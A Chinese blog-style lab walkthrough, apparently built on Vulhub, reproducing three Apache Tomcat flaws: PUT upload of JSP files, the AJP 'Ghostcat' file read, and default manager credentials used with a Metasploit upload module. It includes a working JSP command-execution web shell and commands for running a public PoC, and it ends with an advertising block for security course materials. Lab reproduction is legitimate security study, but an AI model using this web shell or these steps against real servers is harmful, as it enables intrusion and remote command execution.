赞
踩
* 1.1.前言
* 1.2.1.漏洞原理
* 1.2.3.1.测试是否允许PUT
* 1.3.1.漏洞原理
* 1.3.3.1.访问页面
* 1.4.1.漏洞原理
* 1.4.3.1.访问后台
整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接
Tomcat配置文件/conf/web.xml
配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 JSP
文件。之后,JSP 文件中的代码将能被服务器执行。
Apache Tomcat 7.0.0 – 7.0.81
这里修改请求方式为OPTIONS /xx HTTP/1.1,通过修改后发现允许PUT方法。
这里修改请求方式为:PUT /test.jsp/ HTTP/1.1,请求体为:<%out.print(“hacker”); %>,然后访问test.jsp。
URL:http:ip地址:端口/test.jsp
修改请求头PUT /test.jsp/ HTTP/1.1,修改请求体。
请求体:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
http://ip地址:8080/test.jsp?&pwd=123&cmd=ls
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP
:HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP
协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat
AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
开启了8009端口的ajp服务
访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
POC链接:链接
当然你也可以在kali中使用命令进行下载,检测等,不过我这里由于网络原因一直下载不下来,我就用本机下载再上传虚拟机了。
命令:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py #py2环境
这里查看8009端口下的web.xml文件
命令:python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。
全版本
这里首先需要先访问后台管理。
http://ip地址:8080/manager/html
在后台有一个上传war包的地方,这里就是我们用来上传木马的地方,这里我没准备jsp马,我使用msf来进行操作吧。
进入msf里面的exploit/multi/http/tomcat_mgr_upload模块。
我这边由于使用云服务器,存在反弹的端口不通,可能被拦截了,所以就没有反弹回来。
多看书
阅读永远是最有效的方法,尽管书籍并不一定是最好的入门方式,但书籍的理解需要一定的基础;但是就目前来看,书籍是比较靠谱的入门资料。
现在Web安全书籍比较多,因此大家在学习的过程中可以少走了不少的弯路。如果以上推荐书籍阅读有困难,那就找自己能看得进的 Web 安全的书
当然纸上谈兵终觉浅,最好还是实践一下。
对于那些没有学习方向和资料的同学,可以看下我整理的资源,这份资料经历过社会的实践,可以说是当下全网较全的网络安全知识体系:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
如果你对网络安全入门感兴趣,那么你点击这里
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。